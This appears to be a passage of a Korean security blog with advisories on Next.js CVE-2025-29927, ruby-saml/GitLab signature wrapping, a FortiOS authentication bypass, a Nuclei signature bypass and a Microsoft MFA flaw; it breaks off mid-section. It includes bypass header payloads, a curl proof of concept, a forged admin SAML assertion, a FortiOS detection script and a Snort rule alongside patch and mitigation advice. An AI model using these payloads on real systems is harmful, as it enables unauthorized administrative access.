1. Next.js [1]

- 풀 스택 웹 애플리케이션을 구축하기 위한 React 기반의 오픈소스 자바 스크립트 프레임워크

2. CVE-2025-29927

[사진 1] CVE-2025-29927 [2]

- Next.js의 미들웨어 (Middleware)의 권한 검사를 우회할 수 있는 인증 우회 취약점 (CVSS: 9.1)

> 미들웨어 (Middleware)는 요청을 처리하는 과정에서 사용자 인증 및 권한 검사를 수행

> x-middleware-subrequest 헤더를 조작해 미들웨어 기반의 보안 검사 우회

영향받는 버전
Next.js
- 15.x < 15.2.3
- 14.x < 14.2.25
- 13.x < 13.5.9
- 12.x < 12.3.5

 

- 무한 루프를 방지하기 위해 x-middleware-subrequest 헤더 사용 [3][4]

① 사용자 요청에서 x-middleware-subrequest 헤더 추출

② ':'를 기준으로 분할하여 배열로 저장

③ 현재 실행 중인 미들웨어의 이름과 일치하는 요청이 몇 번 반복되었는지 계산 (depth)

④ 동일한 요청이 최대 재귀 깊이 (MAX_RECURSION_DEPTH) 보다 많은 경우 x-middleware-next 헤더를 1로 설정

> x-middleware-next 헤더는 현재 미들웨어를 중단하고 다음 미들웨어로 요청을 전달하는 헤더로 판단됨

...
export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
  const runtime = await getRuntimeContext(params)
  const subreq = params.request.headers[`x-middleware-subrequest`] ----------------- 1
  const subrequests = typeof subreq === 'string' ? subreq.split(':') : [] ---------- 2

  const MAX_RECURSION_DEPTH = 5
  const depth = subrequests.reduce( ------------------------------------------------ 3
    (acc, curr) => (curr === params.name ? acc + 1 : acc),
    0
  )

  if (depth >= MAX_RECURSION_DEPTH) { ---------------------------------------------- 4
    return {
      waitUntil: Promise.resolve(),
      response: new runtime.context.Response(null, {
        headers: {
          'x-middleware-next': '1',
        },
      }),
    }
  }
  ...

 

- 동일한 미들웨어가 5번 이상 x-middleware-subrequest 헤더에 포함될 경우 ④의 과정을 통해 우회 가능

> 버전별로 미들웨어 파일의 이름과 위치가 다르기 때문에 악용 가능한 x-middleware-subrequest 헤더 값이 상이

버전 악성 요청 예시
~ 12.2 GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: pages/_middleware
12.2 ~ 13 GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: middleware
13 ~ GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
 
또는 

GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

 

- PoC 예시 [5]

curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

 

[사진 2] 악용 패킷 캡쳐

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

제품명 영향받는 버전 해결 버전
Next.js 15.x 15.2.3
14.x 14.2.25
13.x 13.5.9
12.x 12.3.5

 

- 업데이트 적용이 불가한 경우 x-middleware-subrequest 헤더가 포함된 외부 사용자 요청이 Next.js 애플리케이션에 도달하지 못하도록 차단 [8]

① Apche

>.htaccess 파일 설정 변경 : mod_headers 기능 설치 및 요청에 해당 헤더가 포함된 경우 삭제하도록 설정 [9]

<IfModule mod_headers.c>
RequestHeader unset x-middleware-subrequest
</IfModule>

 

② NGINX

> nginx.conf 파일 설정 변경 : proxy_set_header 지시문 활용

 server {
   listen 80;
   server_name your_domain.com;
   location / {
     proxy_set_header x-middleware-subrequest "";
   }
 }

 

③ Express.js

> JavaScript 소스 코드에 다음 지침을 추가

// Middleware to remove the x-middleware-subrequest header
 app.use((req, res, next) => {
   delete req.headers['x-middleware-subrequest'];
   next();
 });

 

- WAF에서 x-middleware-subrequest 헤더를 포함한 요청을 차단하도록 설정

 

- 탐지룰 설정

alert tcp any any -> any any (msg:"CVE-2025-29927 x-middleware-subrequest Detected"; flow:to_server,established; content:"x-middleware-subrequest|3A|"; http_header; pcre:"x-middleware-subrequest\s*:\s*(pages\/_middleware|middleware|src\/middleware)"; )

4. 참고

[1] https://nextjs.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-29927
[3] https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
[4] https://github.com/vercel/next.js/blob/eb883cdcfb22517e4babec6f38d3fe86961e2811/packages/next/src/server/web/sandbox/sandbox.ts#L94
[5] https://github.com/MuhammadWaseem29/CVE-2025-29927-POC
[6] https://nextjs.org/blog/cve-2025-29927
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71695&menuNo=205020
[8] https://jfrog.com/blog/cve-2025-29927-next-js-authorization-bypass/
[9] https://httpd.apache.org/docs/2.2/ko/mod/mod_headers.html#page-header
[10] https://www.boannews.com/media/view.asp?idx=136641&page=2&kind=1

1. GitLab [1]

- 소프트웨어 개발 및 협업을 위한 다양한 솔루션을 제공하는 웹 기반 DevOps 플랫폼
> 깃 저장소 관리, CI/CD, 이슈 추적, 보안성 테스트 등
> GitLab CE: Community Edition / GitLab EE: Enterprise Edition

2. 취약점

2.1 CVE-2025-25291 및 CVE-2025-25292

[사진 1] CVE-2025-25291
[사진 2] CVE-2025-25292

- 오픈소스 ruby-saml 라이브러리에서 REXML과 Nokogiri가 XML을 서로 다르게 파싱하여 발생하는 인증 우회 취약점 (CVSS: 9.3) [2][3]

> ruby-saml : Ruby 언어에서 SAML (Security Assertion Markup Language) Single Sign-On(SSO)를 구현할 수 있도록 도와주는 라이브러리 [4]

> ReXML, Nokogiri : Ruby 언어에서 XML을 파싱하고 조작할 때 사용하는 라이브러리 [5][6]

> XML 파싱의 차이로 인하여 공격자는 Signature Wrapping Attack을 통해 인증을 우회할 수 있음

영향받는 버전
- ruby-saml
< 1.12.4
>= 1.13.0, < 1.18.0

- Community Edition(CE) / Enterprise Edition(EE)
> 17.7.7
> 17.8.5
> 17.9.2

 

2.1 SAML (Security Assertion Markup Language) Single Sign-On(SSO)

- SAML : 인증 정보 제공자(Identity Provider, idP)와, 서비스 제공자(Service Provider, SP) 간의 인증 및 인가 데이터를 교환하기 위한 XML 기반의 표준 데이터 포맷

- SSO : 하나의 자격 증명으로 한 번만 로그인하여 여러 앱에 액세스할 수 있도록 해 주는 기술

 

[사진 3] 동작 과정 요약 [7]

단계 설명
서비스 요청 - 사용자가 서비스에 접근
> SP는 해당 유저의 인증 유무 확인 (Access Check)
SSO 서비스 이동 - 인증되지 않은 경우 SP는 SAMLRequest를 생성해 사용자에게 전송
> SP는 IDP는 직접 연결되지 않고, 사용자의 브라우저에서 SAMLRequest를 IDP로 리다이렉션
SSO 서비스 요청 - IDP는 SAMLRequest를 파싱하고 사용자 인증을 진행
SAML 응답 - 인증 성공 시 SAMLResponse를 생성하여 사용자의 브라우저로 전송
> SAMLResponse에는 SAMLAssertion (사용자의 인증 정보를 포함한 XML 문서)이 포함
> IDP는 웹 브라우저에 Session Cokkie를 설정하고 해당 정보는 브라우저에 캐싱
SAML 응답 전송 - 사용자는 SP의 ACS로 SAMLResponse를 POST
서비스 응답 - ACS는 SAMLResponse를 검증하고 유효한 경우 요청한 서비스로 사용자를 포워딩

 

[SAMLRequest 예시]
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="req123">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">sp.example.com</saml:Issuer>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <Reference URI="#req123">
        <DigestValue>req_digest</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>req_signature</SignatureValue>
  </Signature>
</samlp:AuthnRequest>

[SAMLResponse 예시]
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="resp456">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">idp.example.com</saml:Issuer>
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="assert789">
    <saml:Subject>
      <saml:NameID>user123</saml:NameID>
    </saml:Subject>
    <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
      <SignedInfo>
        <Reference URI="#assert789">
          <DigestValue>assert_digest</DigestValue>
        </Reference>
      </SignedInfo>
      <SignatureValue>assert_signature</SignatureValue>
    </Signature>
  </saml:Assertion>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <Reference URI="#resp456">
        <DigestValue>resp_digest</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>resp_signature</SignatureValue>
  </Signature>
</samlp:Response>

 

2.2 Signature Wrapping Attack

- Assertion, Signature가 여러개일 경우, 순서가 다르게 들어갈 경우 제대로 처리하지 않을 수 있기 때문에 코드를 삽입하여 Rewrite 하는 공격 [8][9]

> XML 기반 시스템에서 디지털 서명 검증의 허점을 악용하여 서명 검증 통과 (인증 우회) 및 조작된 데이터 처리를 유발하는 공격

 

- 정상적인 경우 <Assertion ID="~">에 명시된 사용자 정보(abc123)를 <Reference URI="~">에서 찾아(#abc123) 검증

> 명시된 사용자에 대한 인증 정보가 <Reference URI="~">에 저장되어 있음

> <DigestValue> (메시지에 대한 해시 값)과 <SignatureValue> (메시지에 대한 전자서명)를 검증해 인증 여부 결정

 

<SAMLResponse>
  <Assertion ID="abc123">
    <User>user1</User>
    <Role>user</Role>
  </Assertion>

  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="..." />
      <SignatureMethod Algorithm="..." />
      
      <Reference URI="#abc123">
        <Transforms>
          <Transform Algorithm="..." />
        </Transforms>
        <DigestMethod Algorithm="..." />
        <DigestValue>"..."</DigestValue>
      </Reference>
      
    </SignedInfo>

    <SignatureValue>"..."</SignatureValue>
    <KeyInfo>...</KeyInfo>
  </Signature>
</SAMLResponse>

 

- 공격자는 조작된 Assertion 삽입해 인증 과정을 우회할 수 있음

① 조작된 Assertion 삽입 : <Assertion ID="attack123">에 User=admin, Role=admin 등 권한 상승된 정보 삽입

② SAML 서버 Signature 검증 : <Reference URI="#abc123">로 서명된 정상 Assertion만 검증 -> 검증 통과

③ 첫 번째 Assertion부터 처리 : 실제 처리 단계에서는 첫 번째 요소를 읽어 인증 정보 처리 -> attack123 참조

④ 권한 상승 : 조작된 Assertion의 admin 권한으로 접근 가능

⑤ 추가 악성 행위 : 계정 생성, 데이터 탈취 등 추가 악성 행위 수행

※ 기존 서명 검증 대상과 정보를 남겨두므로 인증 과정을 우회할 수 있음

 

<SAMLResponse>
  <Assertion ID="attack123">
    <User>admin</User>
    <Role>admin</Role>
  </Assertion>

  <Assertion ID="abc123">
    <User>user1</User>
    <Role>user</Role>
  </Assertion>

  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="..." />
      <SignatureMethod Algorithm="..." />
      
      <!-- Reference: 서명 대상 지정 -->
      <Reference URI="#abc123">
        <Transforms>
          <Transform Algorithm="..." />
        </Transforms>
        <DigestMethod Algorithm="..." />
        <DigestValue>base64-encoded-digest-value</DigestValue>
      </Reference>
      
    </SignedInfo>

    <SignatureValue>base64-encoded-signature-value</SignatureValue>
    <KeyInfo>...</KeyInfo>
  </Signature>
</SAMLResponse>

 

- 여러 유형이 존재 [10]

구분 설명
XSW1 기존 서명 뒤에 서명되지 않은 내용 추가
XSW2 기존 서명 앞에 서명되지 않은 내용 추가
XSW3 기존의 Assertion 앞에 Assertion의 서명되지 않은 내용 추가
XSW4 기존의 Assertion 다음에 Assertion의 서명되지 않은 내용 추가
XSW5 서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 원본 Assertion 추가
XSW6 서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 변조 Assertion 추가
XSW7 서명되지 않은 Extensions Block 추가
XSW8 서명이 제거 된 원래 어설 션을 포함하는 Object Block 추가

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [11][12]

> 업데이트 적용이 불가한 경우 GitLab 권고

① GitLab 2중 인증 활성화

② GitLab에서 SAML 이중 요인 우회 옵션을 허용하지 않음

③ 자동으로 생성된 새 사용자에 대한 관리자 승인 필요 설정 : gitlab_rails['omniauth_block_auto_created_users'] = true

취약점 제품명 영향받는 버전 해결버전
CVE-2025-25291
CVE-2025-25292
Community Edition(CE)
Enterprise Edition(EE)
< 17.7.7 17.7.7
< 17.8.5 17.8.5
< 17.9.2 17.9.2
ruby-saml < 1.12.4 1.12.4
>= 1.13.0, < 1.18.0 1.18.0

 

- Signature Wrapping 대응 방안

> Reference URI로 검증한 Assertion만 실제 처리에 사용

> Assertion 요소는 반드시 1개만 존재하도록 스키마 정의

> 최신 보안 라이브러리 사용

> 모의 침투 테스트 (ZAP, Burpsuite 등) [13][14][15]

4. 참고

[1] https://about.gitlab.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-25291
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-25292
[4] https://github.com/SAML-Toolkits/ruby-saml
[5] https://github.com/ruby/rexml
[6] https://github.com/sparklemotion/nokogiri
[7] https://gruuuuu.github.io/security/ssofriends/
[8] https://www.hahwul.com/2018/07/13/Security-testing-SAML-SSO-vulnerability-and-pentest/#signature-wrappingxsw-attack
[9] https://www.hahwul.com/cullinan/saml-injection/#signature-stripping
[10] https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SAML%20Injection#xml-signature-wrapping-attacks
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71680&menuNo=205020
[12] https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released/
[13] https://www.hahwul.com/cullinan/saml-injection/#saml-in-zapburp
[14] https://www.zaproxy.org/docs/desktop/addons/saml-support/
[15] https://github.com/CompassSecurity/SAMLRaider

1. 대체 경로, 대체 채널

- 인증이나 정상적인 보안 메커니즘을 우회하는 공격 경로를 의미 (CWE-288) [1]

 

- 대체 경로(Alternate Path)
시스템이 정상적으로 인증을 요구하는 주요 경로(로그인 페이지 등)를 우회할 수 있는 비표준적인(≒비공식적인) 경로
> 디버깅용 또는 개발 테스트용 백도어가 남아있는 경우
> 사용자 입력 값(URL 매개변수)을 조작해 비인가된 데이터를 조회
> 잘못된 권한 검증으로 특정 파일 또는 디렉토리에 접근

> 대응 : 디버깅 및 테스트 코드 제거, 입력 값 검증, 숨겨진 디렉터리 접근 방지 등

 

- 대체 채널(Alternate Channel)
정상적인 인증 프로세스와 보안 채널(HTTPS 등)을 우회하여 비정상적인 통신 채널을 통해 시스템에 접근하거나 데이터를 전송하는 것
> HTTP 요청을 통해 정보 전송 및 평문 가로채기
> 레거시 프로토콜을 통해 암호화되지 않은 정보 가로채기
> 모바일 앱, IoT 기기에서 SSL/TLS 인증서 검증이 불완전해 중간자 공격으로 데이터 탈취

> 대응 : HTTPS 강제 적용, 레거시 프로토콜 비활성화, SSL/TLS 검증 강화, 네트워크 모니터링 및 로그 관리 등

2. CVE-2024-55591

[사진 1] CVE-2024-55591 [2]

- Fortinet 제품의 대체 경로 또는 대체 채널 문제로 인해 발생하는 인증 우회 취약점 (CVSS: 9.8)

> 공격자는 Node.js 웹소켓 모듈에 대한 조작된 요청을 통해 슈퍼 관리자 권한을 얻을 수 있음

※ 취약점 관련 상세 내용 확인 불가

영향받는 제품
- FortiOS 7.0 : 7.0.0 이상 ~ 7.0.16 이하
- FortiProxy : 7.2.0 이상 ~ 7.2.12 이하 / 7.0.0 이상 ~ 7.0.19 이하

 

- 관련 PoC [3]

> 총 5개의 조건을 충족할 경우 취약 (status_code_1_check, status_code_2_check, body_checks, header_marker_check, connection_upgrade_check)

구분 설명
status_code_1_check - 첫 번째 요청 및 응답으로 해당 페이지가 로그인 관련 페이지인지 확인

first_url = f"{base_url}/login?redir=/ng"
first_response = requests.get(first_url, verify=False, timeout=10)
<중략>
status_code_1_check = first_response.status_code == 200
status_code_2_check - 두 번째 요청 및 응답으로 WebSocket 업그레이드 가능 여부 확인

second_url = f"{base_url}/watchTowr-{random_suffix}"
second_headers = {
'Sec-WebSocket-Version': '13',
'Sec-WebSocket-Key': 'thFz/fKwzu5wDEy0XO3fcw==',
'Connection': 'keep-alive, Upgrade',
'Upgrade': 'websocket'
}
second_response = requests.get(second_url, headers=second_headers, verify=False, timeout=10)
<중략>
status_code_2_check = second_response.status_code == 101

※ 응답코드 101 : 클라이언트가 보낸 업그레이드 요청 헤더에 대한 응답으로, 서버가 클라이언트의 Upgrade 요청을 받아들여 프로토콜을 변경할 것임을 알림, 주로 WebSocket 프로토콜 전환 시 사용 [4]
body_checks - 첫 번째 응답에서 세 가지 값 (html_main_app_check,  f_icon_warning_check, f_icon_closing_check)의 만족 여부 확인

html_main_app_check = '<html class="main-app">' in first_response.text
f_icon_warning_check = '<f-icon class="fa-warning' in first_response.text
f_icon_closing_check = '</f-icon>' in first_response.text
<중략>
body_checks = html_main_app_check and f_icon_warning_check and f_icon_closing_check
header_marker_check - 첫 번째 응답에서 특정 헤더 (APSCOOKIE_)의 존재 여부 확인

header_marker_check = any('APSCOOKIE_' in str(header) for header in first_response.headers.values())
connection_upgrade_check - 두 번째 응답에서 Connection 헤더의 값 확인

connection_upgrade_check = 'Upgrade' in second_response.headers.get('Connection', '')
import requests
import random
from uuid import uuid4
from datetime import datetime, timedelta
import argparse

banner = """\
             __         ___  ___________                   
     __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
     \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\\\|    | /  _ \\ \\/ \\/ \\_  __ \\
      \\     / / __ \\|  | \\  \\\\___|   Y  |    |(  <_> \\     / |  | \\\n       \\/\\_/ (____  |__|  \\\\\\\___  |___|__|__  | \\\\__  / \\\/\\_/  |__|   
                  \\\          \\\     \\\                              

        CVE-2024-55591.py
        (*) Fortinet FortiOS Authentication Bypass (CVE-2024-55591) vulnerable detection by watchTowr
        
          - Sonny , watchTowr (sonny@watchTowr.com)
          - Aliz Hammond, watchTowr (aliz@watchTowr.com)

        CVEs: [CVE-2024-55591]
"""

def generate_random_suffix(length=6):
    """Generate a random lowercase suffix."""
    return ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(length))

def perform_web_interaction(target, port):
    """
    Perform a two-step web interaction with specific parameters.
    
    Args:
        target (str): Target IP address
        port (int): Target port
    
    Returns:
        tuple: Results of the two requests
    """
    # Construct base URL
    base_url = f"https://{target}:{port}"
    
    # Generate random suffix
    random_suffix = generate_random_suffix()
    
    # Disable SSL verification warnings
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    
    # First request - login-like endpoint
    first_url = f"{base_url}/login?redir=/ng"
    first_response = requests.get(first_url, verify=False, timeout=10)
    
    # Second request - endpoint with random suffix
    second_url = f"{base_url}/watchTowr-{random_suffix}"
    second_headers = {
        'Sec-WebSocket-Version': '13',
        'Sec-WebSocket-Key': 'thFz/fKwzu5wDEy0XO3fcw==',
        'Connection': 'keep-alive, Upgrade',
        'Upgrade': 'websocket'
    }
    second_response = requests.get(second_url, headers=second_headers, verify=False, timeout=10)
    
    return first_response, second_response

def validate_interaction_conditions(first_response, second_response):
    """
    Validate specific conditions for the web interaction.
    
    Args:
        first_response (requests.Response): First HTTP response
        second_response (requests.Response): Second HTTP response
    
    Returns:
        bool: Whether all conditions are met
    """
    try:
        # Check status codes
        status_code_1_check = first_response.status_code == 200
        status_code_2_check = second_response.status_code == 101
        
        # Check body contents for first response
        html_main_app_check = '<html class="main-app">' in first_response.text
        f_icon_warning_check = '<f-icon class="fa-warning' in first_response.text
        f_icon_closing_check = '</f-icon>' in first_response.text
        
        body_checks = html_main_app_check and f_icon_warning_check and f_icon_closing_check
        
        # Check for specific header marker
        header_marker_check = any('APSCOOKIE_' in str(header) for header in first_response.headers.values())
        
        # Check connection upgrade for second response
        connection_upgrade_check = 'Upgrade' in second_response.headers.get('Connection', '')
        
        # Print detailed information about first response matchers
        if not html_main_app_check:
            print("[!] Target is not a FortiOS Management Interface")
            exit()
        
        if not f_icon_warning_check:
            print("[!] '<f-icon class=\"fa-warning\"' not found in response")

        # Combine all checks
        return all([
            status_code_1_check,
            status_code_2_check,
            body_checks,
            header_marker_check,
            connection_upgrade_check
        ])
    except Exception as e:
        print(f"[!] Error during validation: {e}")
        return False

def main():
    """
    Main function to run the web interaction checks.
    """
    print(banner)

    parser = argparse.ArgumentParser(description='CVE-2024-55591 Detection Tool')
    parser.add_argument('--target', '-t', type=str, help='IP address of the target', required=True)
    parser.add_argument('--port', '-p', type=int, help='Port of the target', required=False, default=443)
    args = parser.parse_args()

    try:
        print(f"[*] Targeting: https://{args.target}:{args.port}")
        first_response, second_response = perform_web_interaction(args.target, args.port)
        
        result = validate_interaction_conditions(first_response, second_response)
        
        if result:
            print("[!] VULNERABLE: All conditions were met")
        else:
            print("[*] NOT VULNERABLE: Conditions were not satisfied")
        
    except requests.RequestException as e:
        print(f"[!] Request error: {e}")
    except Exception as e:
        print(f"[!] Unexpected error: {e}")

if __name__ == "__main__":
    main()

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [5]

제품명 영향받는 버전 해결 버전
FortiOS 7.0 7.0.0 이상 ~ 7.0.16 이하 7.0.17 이상
FortiProxy 7.2.0 이상 ~ 7.2.12 이하 7.2.13 이상
7.0.0 이상 ~ 7.0.19 이하 7.0.20 이상

 

> Fortinet 권고사항 [6]

구분 설명
로그 점검 - 랜덤 scrip 및 dstip가 포함된 로그인 활동 관련 로그:
type="event" subtype="system" level="information" vd="root" logdesc="Admin login successful" sn="1733486785" user="admin" ui="jsconsole" method="jsconsole" srcip=1.1.1.1 dstip=1.1.1.1 action="login" status="success" reason="none" profile="super_admin" msg="Administrator admin logged in successfully from jsconsole"

-  무작위로 생성된 것처럼 보이는 사용자 이름과 소스 IP가 포함된 관리자 생성 로그:
type="event" subtype="system" level="information" vd="root" logdesc="Object attribute configured" user="admin" ui="jsconsole(127.0.0.1)" action="Add" cfgtid=1411317760 cfgpath="system.admin" cfgobj="vOcep" cfgattr="password[*]accprofile[super_admin]vdom[root]" msg="Add system.admin vOcep"

-  로그에서 공격자들이 사용한 것으로 나타난 IP 주소:
1.1.1[.]1
127.0.0[.]1
2.2.2[.]2
8.8.8[.]8
8.8.4[.]4
위협행위자 수행 작업 점검 - 임의의 사용자 이름으로 장치에 관리자 계정 생성
- 임의의 사용자 이름으로 장치에 로컬 사용자 계정 생성
- 사용자 그룹 생성 또는 기존 sslvpn 사용자 그룹에 위의 로컬 사용자 추가
- 기타 설정(방화벽 정책, 방화벽 주소 등) 추가/변경
- 위에 추가된 로컬 사용자로 sslvpn에 로그인하여 내부 네트워크로 가는 터널 생성
공격 IP 점검 및 차단 -  45.55.158[.]47 [가장 많이 사용되는 IP 주소]
-  87.249.138[.]47
-  155.133.4[.]175
-  37.19.196[.]65
-  149.22.94[.]37
권고 - HTTP/HTTPS 관리 인터페이스 비활성화
- 로컬-인 정책을 통해 관리 인터페이스에 접근할 수 있는 IP 주소를 제한

4. 참고

[1] https://cwe.mitre.org/data/definitions/288.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-55591
[3] https://github.com/watchtowrlabs/fortios-auth-bypass-check-CVE-2024-55591/tree/main?tab=readme-ov-file
[4] https://docs.whatap.io/url/url-http-status
[5] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71632
[6] https://www.fortiguard.com/psirt/FG-IR-24-535
[7] https://arcticwolf.com/resources/blog/console-chaos-targets-fortinet-fortigate-firewalls/
[8] https://www.dailysecu.com/news/articleView.html?idxno=163036

1. Nuclei [2][3][4]

- ProjectDiscovery에서 개발한 YAML 기반 템플릿을 사용하여 취약점을 스캔하는 go 언어 기반의 오픈소스 취약점 스캐너
> YAML 파일로 취약점 스캔 탬플릿을 정의하며, 해당 템플릿을 통해 취약점을 식별
> 템플릿은 직접 작성하거나 커뮤니티에서 제공하는 템플릿 활용 가능
- 웹 애플리케이션 취약점, 네트워크 서비스, API 스캔 등이 가능
- 멀티스레드 기반의 빠른 스캔, 유연성 및 확장성 등의 장점이 있음

2. CVE-2024-43405

[사진 1] CVE-2024-43405 [5]

- Nuclear의 템플릿 서명 검증 시스템에서 발생하는 서명 검증 우회 취약점

영향받는 버전 : Nuclei 3.0.0 ~ 3.3.2 이전 버전

 

- ProjectDiscovery는 무단 데이터 액세스와 시스템 손상을 방지 하기위해 서명 검증 메커니즘을 구현 (위변조 방지, 무결성 확인)

템플릿 파일 내용을 기준으로 SHA256을 계산해 "#digest:"로 삽입

서명 검증 과정
서명 추출 정규식을 사용하여 "#digest:" 줄 검색
서명 제거 템플릿 콘텐츠에서 서명 줄 제외
해시 계산 서명을 제외한 콘텐츠 해시 계산
서명 검증 계산된 해시를 추출된 서명과 비교하여 검증

 

- Nuclear 서명 검증 논리에서 서명 추출 및 제거는 정규표현식을 사용하며, 이후 구문 분석 및 실행에는 YAML 파서 사용

> Line1 ~ Line31 : 첫 번째 서명을 찾아 템플릿에서 서명을 제거
> Line33 ~ Line51 : 서명 검증 후 YAML로 구문 분석 및 실행

 

첫 번째 서명(#digest:)만 확인 : 악성코드가 포함된 두 번째 서명이 검증되지 않고 템플릿에 남아있을 수 있음
줄 바꿈 해석 불일치 : 정규 표현식을 사용한 서명 검증과 YAML 파서 간 줄 바꿈 해석 불일치로 추가 콘텐츠를 삽입할 수 있음

구분 설명
정규 표현식 ‘\r’를 동일한 줄의 일부로 간주
YAML 파서 ‘\r'를 줄 바꿈 문자로 해석
1     var (
2       ReDigest         = regexp.MustCompile(`(?m)^#\sdigest:\s.+$`)
3       SignaturePattern = "# digest: "
4     )
5     
6     func RemoveSignatureFromData(data []byte) []byte {
7       return bytes.Trim(ReDigest.ReplaceAll(data, []byte("")), "\n")
8     }
9     
10     func (t *TemplateSigner) Verify(data []byte) (bool, error) {
11       digestData := ReDigest.Find(data)
12       if len(digestData) == 0 {
13         return false, errors.New("digest not found")
14       }
15     
16       digestData = bytes.TrimSpace(bytes.TrimPrefix(digestData, []byte(SignaturePattern)))
17       digestString := strings.TrimSuffix(string(digestData), ":"+t.GetUserFragment())
18       digest, err := hex.DecodeString(digestString)
19       if err != nil {
20         return false, err
21       }
22     
23       buff := bytes.NewBuffer(RemoveSignatureFromData(data))
24     
25       // Verify using standard Go's ECDSA
26       if !t.verify(sha256.Sum256(buff.Bytes()), digest) {
27         return false, errors.New("signature verification failed")
28       }
29     
30       return true, nil
31     }
32     
33     // SecureExecute is a mock we at Wiz created that mimics Nuclei's logic to illustrate the vulnerability, 
34     // verifying a template's signature, parsing it as YAML, and executing it.
35     func SecureExecute(rawTemplate []byte, verifier *TemplateSigner) (interface{}, error) {
36       // Verify the template signature
37       isVerified, err := verifier.Verify(rawTemplate)
38       if err != nil || !isVerified {
39         return nil, errors.New("template verification failed")
40       }
41     
42       // Parse the template
43       template := &Template{}
44       err = yaml.Unmarshal(rawTemplate, template)
45       if err != nil {
46         return nil, errors.New("couldn't unmarshal template")
47       }
48     
49       // Execute the template and return the result
50       return template.execute()
51     }

 

두 번째 서명에 '\r'를 포함한 악성코드를 삽입하여 악용 가능
두 번째 서명은 서명 검증 과정을 거치지 않고, YAML에서 구문 분석 후 실행됨

[사진 2] YAML 파서와 정규표현식 간 '\r' 문자 처리 비교

3. 대응방안

- Nuclei 3.3.2 이상으로 업그레이드
- 악성 템플릿의 실행을 방지하기 위해 샌드박스 또는 격리된 환경에서 Nuclei 실행

4. 참고

[1] https://www.wiz.io/blog/nuclei-signature-verification-bypass
[2] https://github.com/projectdiscovery/nuclei
[3] https://github.com/projectdiscovery/nuclei/blob/dev/README_KR.md
[4] https://bugbounty.tistory.com/55
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-43405
[6] https://www.bleepingcomputer.com/news/security/nuclei-flaw-lets-malicious-templates-bypass-signature-verification/
[7] https://thehackernews.com/2025/01/researchers-uncover-nuclei.html
[8] https://www.dailysecu.com/news/articleView.html?idxno=162701

1. 개요

- MS 다중인증 환경에서 인증앱을 활용한 다중인증의 경우, 인증 우회 취약점 발견 [1]
Outlook, OneDrive, Teams, Azure Cloud 등 각종 MS 계정에 무단 접근이 가능
- MS에 가입된 유로 계정은 약 4억 개로 공격 성공 시 매우 큰 파장을 일으킬 수 있음

2. 주요내용

- 사용자가 MS 포털에 접속 시 계정과 6자리 코드를 사용해 로그인 시도
> 사용자가 로그인 페이지에 처음 접속하면 세션 식별자 할당
> 계정 정보 입력 후 추가 인증을 요구하며, 6자리 코드를 제공해 인증 과정 마무리

 

- 한 세션에서 10번 연속 입력을 실패할 경우 계정 잠금
> 연구진은 새 세션을 빠르게 생성한 후 6자리 코드를 대입하는 실험을 진행
실험 결과 여러 시도를 어떠한 경고(≒알림) 없이 동시에 실행할 수 있음을 발견

 

- 인증 앱을 사용한 인증 방법에는 시간 제한이 존재
> 30초 간격으로 새로운 코드가 생성 되도록 하는 것이 일반적
> 그러나, MS 로그인을 테스트한 결과 코드가 약 3분동안 유효한 것으로 확인
> 이는 공격에 성공할 확률이 3% 증가하는 수치*

